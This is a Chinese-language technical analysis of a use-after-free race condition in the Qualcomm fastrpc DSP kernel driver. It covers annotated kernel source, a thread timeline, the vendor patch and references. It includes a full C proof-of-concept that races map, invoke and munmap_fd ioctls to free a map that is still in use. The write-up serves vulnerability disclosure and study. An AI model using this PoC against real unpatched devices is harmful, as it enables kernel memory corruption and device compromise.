FASTRPC_ATTR_KEEP_MAP
的逻辑漏洞导致fastrpc_internal_munmap_fd
在竞态条件下释放仍在使用中的内存映射,导致 UAF。
在 fastrpc_internal_mem_unmap
和 fastrpc_internal_munmap
函数中,一个至关重要的逻辑是它们依赖 fastrpc_mmap_remove
来查找需要删除的内存映射。
ioctl(FASTRPC_IOCTL_MEM_UNMAP)
fastrpc_device_ioctl()
fastrpc_mmap_device_ioctl()
fastrpc_internal_mem_unmap()
fastrpc_mmap_remove() – 查找并删除映射记录
fastrpc_mem_unmap_to_dsp() – 向 DSP 发起卸载请求
fastrpc_mmap_free() – 释放映射结构资源
ioctl(FASTRPC_IOCTL_MUNMAP)
fastrpc_device_ioctl
fastrpc_mmap_device_ioctl
fastrpc_internal_munmap
fastrpc_mmap_remove
fastrpc_munmap_on_dsp
fastrpc_mmap_free
函数fastrpc_mmap_remove
通过一系列检查试图确保不会释放当前仍被使用的map:
// 调用此函数时需持有文件映射的互斥锁 (fl mapping mutexes)
static int fastrpc_mmap_remove(struct fastrpc_file *fl, int fd, uintptr_t va,
size_t len, struct fastrpc_mmap **ppmap)
{
struct fastrpc_mmap *match = NULL, *map;
struct hlist_node *n;
struct fastrpc_apps *me = &gfa;
unsigned long irq_flags = 0;
...
// 遍历全局映射链表 me->maps
hlist_for_each_entry_safe(map, n, &me->maps, hn) {
// 1. 映射的文件描述符 map->fd 是否等于参数 fd
// 2. 映射的起始地址 map->raddr 是否与参数 va 相同
// 3. 映射的长度 map->len 与参数 len 是否匹配
// 4. 仅有 1 个引用(来自映射创建时的初始引用)
// 5. 该映射不是用于fastrpc shell的特殊内存
if ((fd < 0 || map->fd == fd) && map->raddr == va &&
map->raddr + map->len == va + len &&
map->refs == 1 &&
/* Skip unmap if it is fastrpc shell memory */
!map->is_filemap) {
match = map;
hlist_del_init(&map->hn);
break;
}
}
...
// 遍历该文件对应的映射链表 fl->maps
hlist_for_each_entry_safe(map, n, &fl->maps, hn) {
// 1. 映射的文件描述符 map->fd 是否等于参数 fd
// 2. 映射的起始地址 map->raddr 是否与参数 va 相同
// 3. 映射的长度 map->len 与参数 len 是否匹配
// 4. 仅有 1 个引用(来自映射创建时的初始引用)
// 5. 没有上下文(context)引用该映射
// 6. 该映射不是用于fastrpc shell的特殊内存
if ((fd < 0 || map->fd == fd) && map->raddr == va &&
map->raddr + map->len == va + len &&
map->refs == 1 &&
/* 仅在无其他引用且无上下文引用时移除 */
!map->ctx_refs && // 确保没有上下文持有引用(因为上下文创建也可能生成映射)
/* 跳过属于 fastrpc shell 内存的映射 */
!map->is_filemap) {
match = map;
hlist_del_init(&map->hn);
break;
}
}
if (match) {
*ppmap = match;
return 0;
}
return -ETOOMANYREFS;
}
该函数在遍历本地映射list时,试图确保:
map->refs == 1
- 该映射对象只有一个引用(即没有其他地方持有此映射)。如果引用计数不为1,说明仍有其他地方在使用该映射,不应删除。
!map->ctx_refs
- 意味着没有上下文(context)引用该映射。也就是说,没有某个RPC调用或上下文正在用这个映射传递参数,如果存在上下文引用就不应删除。
!map->is_filemap
- 该映射不是用于fastrpc shell的特殊内存。如果它是shell映射,这部分内存不应被解除映射。
而遍历全局映射list时,试图确保满足上述第1和3个条件。
- 该映射不是用于fastrpc shell的特殊内存。如果它是shell映射,这部分内存不应被解除映射。
总结来说,fastrpc_mmap_remove
函数执行期间,不能有任何并发操作会让其他地方在map->refs==1
的情况下临时持有这个map。然而,前面的 CVE-2024-33060 恰好打破了这一假设:
- 线程 A:
fastrpc_internal_mmap
→ 分配map → 插入全局链表 → (尚未完成,继续map的其他操作) -- map的refs为1 - 线程 B: fastrpc_internal_munmap 查找到这个 map,开始释放 → 释放完成 -- 调用remove函数找到这个map,此时map的refs为1,同时线程A还持有这个map
- 线程 A 继续操作 map 时,就会访问到已被释放或复用的内存。
1 漏洞
换句话来说这个假设:在释放一个map的时候,必须保证本地引用计数refs==1
和上下文引用计数ctx_refs==0
,这种情况下去释放才是正确的。这个漏洞就是在另外一条路径上打破了这个假设。
fastrpc_mmap_remove
函数里的假设已经被 CVE-2024-33060 打破了,那别的map释放路径呢?
至少还存在另外两种不依赖 fastrpc_mmap_remove
及其保护逻辑的map释放路径。其中之一是 fastrpc_internal_munmap_fd
。
该函数通过 fastrpc_mmap_find
查找映射,若找到,且其包含 FASTRPC_ATTR_KEEP_MAP
标志,则调用 fastrpc_mmap_free
释放该映射,并清除标志位(确保无法重复调用)。
/*
* fastrpc_internal_munmap_fd 仅适用于通过持久化属性(persist)映射的缓冲区。
* 对同一持久化缓冲区,此函数只能调用一次。
*/
int fastrpc_internal_munmap_fd(struct fastrpc_file *fl,
struct fastrpc_ioctl_munmap_fd *ud)
{
int err = 0;
struct fastrpc_mmap *map = NULL;
...
mutex_lock(&fl->internal_map_mutex);
mutex_lock(&fl->map_mutex);
// 1. 查找映射
err = fastrpc_mmap_find(fl, ud->fd, NULL, ud->va, ud->len, 0, 0, &map);
if (err) {
...
mutex_unlock(&fl->map_mutex);
goto bail;
}
// 2. 如果找到,且其包含 FASTRPC_ATTR_KEEP_MAP 标志
if (map && (map->attr & FASTRPC_ATTR_KEEP_MAP)) {
map->attr = map->attr & (~FASTRPC_ATTR_KEEP_MAP); //清除标志位
fastrpc_mmap_free(map, 0); //释放映射
}
mutex_unlock(&fl->map_mutex);
bail:
mutex_unlock(&fl->internal_map_mutex);
return err;
}
然而,在 fastrpc_mmap_create
函数中存在一段与引用计数相关的特殊逻辑。可以观察到:
- 只有走else分支,
map->refs
才会增加到2。 - 无论
mflags
的值如何,用户均可设置FASTRPC_ATTR_KEEP_MAP
标志。
这意味着可以创建一个带有 FASTRPC_ATTR_KEEP_MAP
标志但 map->refs == 1
的映射。这种情况下,fastrpc_internal_munmap_fd
能够发现该映射并调用fastrpc_mmap_free
释放。
static int fastrpc_mmap_create(...)
{
...
map = kzalloc(sizeof(*map), GFP_KERNEL);
...
map->refs = 1; //初始引用为1
map->attr = attr;
...
if (mflags == ADSP_MMAP_HEAP_ADDR || mflags == ADSP_MMAP_REMOTE_HEAP_ADDR) {
...
} else if (mflags == FASTRPC_MAP_FD_NOMAP) {
...
} else {
if (map->attr && (map->attr & FASTRPC_ATTR_KEEP_MAP)) {
ADSPRPC_INFO("buffer mapped with persist attr 0x%x\n",
(unsigned int)map->attr);
map->refs = 2; //若设置了 KEEP_MAP 标志,引用计数增至2
}
...
}
...
fastrpc_mmap_add(map); //将映射添加到链表
*ppmap = map;
...
}
但此时仍无法保证释放的假设,如fastrpc_mmap_remove
中的( refs == 1
且 ctx_refs == 0
)未被破坏。这种矛盾可能引发严重问题,例如当某个上下文通过 get_args
函数获取对 FASTRPC_ATTR_KEEP_MAP
映射的引用时(ctx_refs>0
):
static int get_args(uint32_t kernel, struct smq_invoke_ctx *ctx)
{
remote_arg64_t *rpra, *lrpra;
remote_arg_t *lpra = ctx->lpra;
...
int mflags = 0;
...
for (i = 0; i < bufs; ++i) {
uintptr_t buf = (uintptr_t)lpra[i].buf.pv;
size_t len = lpra[i].buf.len;
mutex_lock(&ctx->fl->map_mutex);
if (ctx->fds && (ctx->fds[i] != -1))
// 可能获取对现有映射的引用(若已存在)
err = fastrpc_mmap_create(ctx->fl, ctx->fds[i], NULL,
ctx->attrs[i], buf, len,
mflags, &ctx->maps[i]);
if (ctx->maps[i])
ctx->maps[i]->ctx_refs++; // 增加上下文引用计数
mutex_unlock(&ctx->fl->map_mutex);
...
}
}
此时,map->ctx_refs
大于零,但这无法阻止 fastrpc_internal_munmap_fd
调用 fastrpc_mmap_free
释放map。具体来看 fastrpc_mmap_free
的实现:
static void fastrpc_mmap_free(struct fastrpc_mmap *map, uint32_t flags)
{
...
if (map->flags == ADSP_MMAP_HEAP_ADDR ||
map->flags == ADSP_MMAP_REMOTE_HEAP_ADDR) {
...
} else {
map->refs--; // 减少引用计数
// 仅当 refs=0 且 ctx_refs=0 时从链表中移除映射
if (!map->refs && !map->ctx_refs)
hlist_del_init(&map->hn);
// 仅在 refs > 0 且 flags=0 时避免释放映射 —— ctx_refs 不影响释放决策!
if (map->refs > 0 && !flags)
return;
}
...
bail:
if (!map->is_persistent)
kfree(map); // 在此处释放映射内存!
}
因此,若存在以下场景:某个 fastrpc
上下文(context)持有唯一引用的 FASTRPC_MAP_FD_NOMAP
映射(且设置了 FASTRPC_ATTR_KEEP_MAP
属性),则可能触发 UAF。
虽然通过 fastrpc_internal_mem_map
可以构造这种flag与attr的组合,但如何让上下文成为映射的唯一引用者并不直观。通常,ctx持有map唯一引用的场景仅出现在“ctx创建与初始化直接触发map创建”时,但在此默认路径中,无法指定必要的flag与attr组合以构造漏洞场景。因此,我们需要以下步骤:
- **通过
fastrpc_internal_mem_map
创建map; - 让某个ctx获取该map的引用;
- 以某种方式丢弃map创建时的初始引用。
由于 fastrpc_internal_mem_unmap
受 fastrpc_mmap_remove
的保护无法实现此操作,但可以通过竞态条件利用 fastrpc_internal_mem_map
的异常退出路径达成目标:
int fastrpc_internal_mem_map(struct fastrpc_file *fl,
struct fastrpc_ioctl_mem_map *ud)
{
int err = 0;
struct fastrpc_mmap *map = NULL;
mutex_lock(&fl->internal_map_mutex);
...
mutex_lock(&fl->map_mutex);
// 在此处创建映射(初始引用为1)
VERIFY(err, !(err = fastrpc_mmap_create(fl, ud->m.fd, NULL, ud->m.attrs,
ud->m.vaddrin, ud->m.length,
ud->m.flags, &map)));
mutex_unlock(&fl->map_mutex);
...
// 让某个上下文在此处获取映射引用
// 尝试将映射注册到 DSP(若失败则触发异常退出)
VERIFY(err, !(err = fastrpc_mem_map_to_dsp(fl, ud->m.fd, ud->m.offset,
ud->m.flags, map->va, map->phys, map->size, &map->raddr)));
if (err)
goto bail; // 异常退出
ud->m.vaddrout = map->raddr;
bail:
if (err) {
...
if (map) {
mutex_lock(&fl->map_mutex);
// 释放映射(减少引用计数,若其他上下文持有引用则保留)
fastrpc_mmap_free(map, 0);
mutex_unlock(&fl->map_mutex);
}
}
mutex_unlock(&fl->internal_map_mutex);
return err;
}
假设存在两个并发进程 A 和 B,执行以下操作序列:
[A]: Completely fills the dsp address space with valid mappings using fastrpc_internal_mem_map
[A]: Creates a FASTRPC_MAP_FD_NOMAP map with attribute FASTRPC_ATTR_KEEP_MAP using fastrpc_internal_mem_map and enters into fastrpc_mem_map_to_dsp (holding internal_map_mutex, dropped map_mutex)
map->refs == 1, map->ctx_refs == 0
[B]: Invokes a call using FASTRPC_IOCTL_INVOKE2 and creates a context, get_args grabs the map mutex, finds and grabs a reference to map, drops the map mutex (not holding any mutexes)
map->refs == 2, map->ctx_refs == 1
[A]: fastrpc_mem_map_to_dsp fails as the dsp address space is completely full, fastrpc_internal_mem_map bails out and calls fastrpc_mmap_free, dropping the internal_map_mutex (not holding any mutexes)
map->refs == 1, map->ctx_refs == 1
[A]: Calls fastrpc_internal_munmap_fd grabs internal_map_mutex, and map_mutex, finds map with fastrpc_mmap_find, and calls fastrpc_mmap_free because the FASTRPC_ATTR_KEEP_MAP attribute is set
map->refs == 0, map->ctx_refs == 1, mapping is kfree'd
At the end of this sequence, an existing context still holds a reference to the freed map.
线程A 线程B
fastrpc_internal_mem_map() 填满DSP 地址空间
fastrpc_internal_mem_map()
// 用户态传入attr : FASTRPC_ATTR_KEEP_MAP
// 用户态传入flags:FASTRPC_MAP_FD_NOMAP
mutex_lock(&fl->internal_map_mutex);
mutex_lock(&fl->map_mutex);
fastrpc_mmap_create
map->refs = 1;
else if (mflags == FASTRPC_MAP_FD_NOMAP){…}
mutex_unlock(&fl->map_mutex);// 此时 map->refs == 1,map->ctx_refs == 0
fastrpc_mem_map_to_dsp(){
ioctl FASTRPC_IOCTL_INVOKE2 ……
fastrpc_internal_invoke
get_args
mutex_lock(&ctx->fl->map_mutex);
fastrpc_mmap_create() // 获取对现有映射的引用
fastrpc_mmap_find()
map->refs++;
ctx->maps[i]->ctx_refs++;
mutex_unlock(&ctx->fl->map_mutex);
// 此时 map->refs == 2, map->ctx_refs == 1
} // 因为DSP地址空间满了,失败,goto bail;
fastrpc_mmap_free(map, 0);
map->refs—; // 此时 map->refs == 1, map->ctx_refs == 1
mutex_unlock(&fl->internal_map_mutex);
fastrpc_internal_munmap_fd
mutex_lock(&fl->internal_map_mutex);
mutex_lock(&fl->map_mutex);
fastrpc_mmap_find()
if (map && (map->attr & FASTRPC_ATTR_KEEP_MAP)) {
map->attr = map->attr & (~FASTRPC_ATTR_KEEP_MAP);
fastrpc_mmap_free(map, 0);
map->refs—; // 此时 map->refs == 0, map->ctx_refs == 1
kfree(map); // 释放map
}
PoC
#include "adsprpc_shared.h"
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <linux/dma-heap.h>
#include <sys/mman.h>
#include <errno.h>
#include <pthread.h>
#include <signal.h>
#define FASTRPC_MODE_UNSIGNED_MODULE 8
#define FASTRPC_STATIC_HANDLE_PROCESS_GROUP (1)
#define FASTRPC_STATIC_HANDLE_DSP_UTILITIES (2)
#define FASTRPC_STATIC_HANDLE_LISTENER (3)
#define FASTRPC_STATIC_HANDLE_CURRENT_PROCESS (4)
int dma_heap;
int adsprpc_fd;
int create_and_init_adsprpc()
{
int adsprpc_fd = open("/dev/adsprpc-smd",O_RDONLY);
if(adsprpc_fd == -1) {
printf("open: %m\n");
return -1;
}
unsigned cid = 3;
long ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_GETINFO,&cid);
int shell_fd = open("/data/local/tmp/fastrpc_shell_unsigned_3",O_RDONLY);
if(shell_fd == -1) {
printf("open shell: %m\n");
return -1;
}
dma_heap = open("/dev/dma_heap/system",O_RDONLY);
if(dma_heap == -1) {
printf("open dma_heap: %m\n");
return -1;
}
struct dma_heap_allocation_data heap_data = {
.len = 0x131000,
.fd_flags = O_RDWR,
};
ret = ioctl(dma_heap,DMA_HEAP_IOCTL_ALLOC,&heap_data);
if( ret < 0 || heap_data.fd < 0)
{
printf("dma heap allocation fail: %d %d %m\n",ret,heap_data.fd);
return -1;
}
void* shell_file_dma = mmap(NULL,0x131000,PROT_READ | PROT_WRITE, MAP_SHARED,heap_data.fd,0);
long length = read(shell_fd,shell_file_dma,0x131000);
if(length <= 0) {
printf("read: %d %m\n",ret);
return -1;
}
close(shell_fd);
struct fastrpc_ioctl_init_attrs init = {
.init = {
.file = shell_file_dma,
.filefd = heap_data.fd,
.filelen = length,
.mem = 0,
.flags = FASTRPC_INIT_CREATE,
},
.attrs = FASTRPC_MODE_UNSIGNED_MODULE
};
ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_INIT_ATTRS,&init);
if(ret < 0)
{
printf("init_attrs: %d %m\n",ret);
return -1;
}
return adsprpc_fd;
}
pthread_barrier_t* barrier;
pthread_t tid_inv,tid_int;
unsigned long* value_loc;
struct dma_heap_allocation_data heap_data = {
.len = 0x10000,
.fd_flags = O_RDWR,
};
void handler(int signo, siginfo_t *info, void* context) {
return;
}
sig_atomic_t jobid = 0;
long submit_job() {
unsigned value = 255;
unsigned out_values[256] = {0};
struct fastrpc_ioctl_invoke_async ioctl_arg;
remote_arg_t ra[2];
ra[0].buf.pv = (void *)&value;
ra[0].buf.len = sizeof(value);
ra[1].buf.pv = (void *)(&out_values[1]);
ra[1].buf.len = value * sizeof(uint32_t);
ioctl_arg.inv.handle = FASTRPC_STATIC_HANDLE_CURRENT_PROCESS;
ioctl_arg.inv.sc = REMOTE_SCALARS_MAKE(0, 1, 1);
ioctl_arg.inv.pra = ra;
ioctl_arg.fds = NULL;
ioctl_arg.attrs = NULL;
ioctl_arg.crc = NULL;
ioctl_arg.perf_kernel = NULL;
ioctl_arg.perf_dsp = NULL;
ioctl_arg.job = NULL;
ioctl_arg.job = malloc(sizeof(*ioctl_arg.job));
ioctl_arg.job->isasyncjob = 1;
ioctl_arg.job->jobid = jobid++;
struct fastrpc_ioctl_invoke2 inv;
inv.invparam = &ioctl_arg;
inv.req = FASTRPC_INVOKE2_ASYNC;
inv.size = sizeof(struct fastrpc_ioctl_invoke_async);
long ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_INVOKE2,&inv);
printf("submit job ret: %lx %m\n",ret);
return ret;
}
void* thread_inv(void* arg) {
while(1) {
//Need to replace value with & new map on other thread
unsigned value = 255;
unsigned out_values[256] = {0};
long ret;
//Not using submit_job() to increase race precision
struct fastrpc_ioctl_invoke_async ioctl_arg;
remote_arg_t ra[2];
ra[0].buf.pv = (void *)0;
ra[0].buf.len = sizeof(value);
ra[1].buf.pv = (void *)(&out_values[1]);
ra[1].buf.len = value * sizeof(uint32_t);
ioctl_arg.inv.handle = FASTRPC_STATIC_HANDLE_CURRENT_PROCESS;
ioctl_arg.inv.sc = REMOTE_SCALARS_MAKE(0, 1, 1);
ioctl_arg.inv.pra = ra;
ioctl_arg.fds = calloc(REMOTE_SCALARS_LENGTH(ioctl_arg.inv.sc),sizeof(int));
ioctl_arg.fds[0] = heap_data.fd;
ioctl_arg.fds[1] = -1;
ioctl_arg.attrs = NULL;
ioctl_arg.crc = NULL;
ioctl_arg.perf_kernel = NULL;
ioctl_arg.perf_dsp = NULL;
ioctl_arg.job = malloc(sizeof(*ioctl_arg.job));
ioctl_arg.job->isasyncjob = 1;
ioctl_arg.job->jobid = jobid++;
struct fastrpc_ioctl_invoke2 inv;
inv.invparam = &ioctl_arg;
inv.req = FASTRPC_INVOKE2_ASYNC;
inv.size = sizeof(struct fastrpc_ioctl_invoke_async);
close(heap_data.fd);
pthread_barrier_wait(barrier);
ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_INVOKE2,&inv);
printf("job submit: %ld %m\n",ret);
fflush(stdout);
if(!ret) {
*((unsigned*) &barrier[1]) = 1;
pthread_barrier_wait(barrier);
exit(0);
}
pthread_barrier_wait(barrier);
}
return NULL;
}
int main() {
adsprpc_fd = create_and_init_adsprpc();
if(adsprpc_fd == -1) {
printf("failed to open adsprpc...\n");
return 1;
}
barrier = mmap(NULL,0x1000,PROT_READ | PROT_WRITE,MAP_SHARED | MAP_ANONYMOUS,0,0);
pthread_barrierattr_t attr;
pthread_barrierattr_init(&attr);
pthread_barrierattr_setpshared(&attr,PTHREAD_PROCESS_SHARED);
pthread_barrier_init(barrier,&attr,2);
//pthread_create(&tid_int,NULL,&thread_interrupt,NULL);
int ret = ioctl(dma_heap,DMA_HEAP_IOCTL_ALLOC,&heap_data);
if( ret < 0 || heap_data.fd < 0)
{
printf("dma heap allocation fail: %d %d %m\n",ret,heap_data.fd);
return -1;
}
// for(unsigned i = 0; i < 1022; i++) {
// if(submit_job() < 0) {
// printf("failed to submit a job at i = %u\n",i);
// exit(0);
// }
// }
printf("mapping...\n");
fflush(stdout);
value_loc = mmap(NULL,0x2000,PROT_READ | PROT_WRITE,MAP_PRIVATE,heap_data.fd,0);
pid_t pid;
if(!(pid = fork())) {
thread_inv(NULL);
exit(0);
}
// pthread_create(&tid_inv,NULL,&thread_inv,NULL);
unsigned long spoof_map = 0x2000;
uint64_t vaddrouts[1024];
unsigned top = 0;
do {
struct fastrpc_ioctl_mem_map mmap_struct = {
.m = {
.flags = 0,
.fd = heap_data.fd,
.length = 0x2000,
.attrs = 0,
.vaddrin = spoof_map,
.vaddrout = 0,
.offset = 0,
}
};
spoof_map += 0x2000;
unsigned long ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_MAP,&mmap_struct);
printf("mem_map loop: %lx 0x%lx\n",ioret,mmap_struct.m.vaddrout);
vaddrouts[top] = mmap_struct.m.vaddrout;
} while (vaddrouts[top++]);
// struct fastrpc_ioctl_mem_map mmap_struct = {
// .m = {
// .flags = 0,
// .fd = heap_data.fd,
// .length = 0x1000,
// .attrs = 0,
// .vaddrin = value_loc,
// .offset = 0,
// }
// };
// //pthread_barrier_wait(&barrier);
// unsigned long ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_MAP,&mmap_struct);
// printf("mem_map1: %lx 0x%lx\n",ioret,mmap_struct.m.vaddrout);
// struct fastrpc_ioctl_mem_unmap unmap_struct = {
// .um = {
// .fd = heap_data.fd,
// .length = 0x1000,
// .vaddr = mmap_struct.m.vaddrout
// }
// };
// ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_UNMAP,&unmap_struct);
// printf("mem_unmap1: %lx\n",ioret);
unsigned first = true;
while(1) {
struct fastrpc_ioctl_mem_map mmap_struct = {
.m = {
.flags = FASTRPC_MAP_FD_NOMAP,
.fd = heap_data.fd,
.length = 0x1000,
.attrs = FASTRPC_ATTR_KEEP_MAP,
.vaddrin = value_loc,
.offset = -1,
}
};
pthread_barrier_wait(barrier);
unsigned long ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_MAP,&mmap_struct);
printf("mem_map2: %lx\n",ret);
fflush(stdout);
struct fastrpc_ioctl_munmap_fd final_munmap = {
.fd = heap_data.fd,
.flags = 0,
.len = 0x1000,
.va = 0
};
unsigned long final_ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MUNMAP_FD,&final_munmap);
printf("munmap fd: %lx %m\n",final_ret);
pthread_barrier_wait(barrier);
if(*(unsigned*)&barrier[1]) {
break;
}
if(first && fgetc(stdin) == 'n') {
kill(pid,SIGKILL);
exit(0);
}
first = false;
}
// pthread_join(tid_int,NULL);
// pthread_join(tid_inv,NULL);
// for(unsigned i = 0; i < top; i++)
// {
// struct fastrpc_ioctl_mem_unmap unmap_struct = {
// .um = {
// .fd = heap_data.fd,
// .length = 0x2000,
// .vaddr = vaddrouts[i],
// }
// };
// unsigned long ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_UNMAP,&unmap_struct);
// if(ioret)
// printf("unexpected unmap fail %lx %m\n",ioret);
// }
// while(1) sleep(1);
return 0;
// struct fastrpc_ioctl_mmap mmap_struct2 = {
// .fd = -1,
// .flags = ADSP_MMAP_HEAP_ADDR,
// .vaddrin = 0,
// .size = 0x1000
// };
// ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MMAP,&mmap_struct2);
// if(ret < 0)
// {
// printf("ret mmap: %lx %m\n",ret);
// }
// printf("vaddrout: %lx %m\n",mmap_struct2.vaddrout);
}
Patch
dsp-kernel: Add attribute and flag checks during map creation
A persistence map is expected to hold refs=2 during its creation.
However, the Fuzzy test can create a persistence map by configuring
a mismatch between attributes and flags using the KEEP MAP attribute
and FD NOMAP flags. This sets the map reference count to 1. The user
then calls fastrpc_internal_munmap_fd to free the map since it
doesn't check flags, which can cause a use-after-free (UAF) for the
file map and shared buffer. Add a check to restrict DMA handle
maps with invalid attributes.
参考文献
- https://googleprojectzero.blogspot.com/2024/12/qualcomm-dsp-driver-unexpectedly-excavating-exploit.html
- https://project-zero.issues.chromium.org/issues/42451725
- https://git.codelinaro.org/clo/la/kernel/msm-5.10/-/commit/dff7593179b189f0ea55f0ad6ff2a153ffacf5b9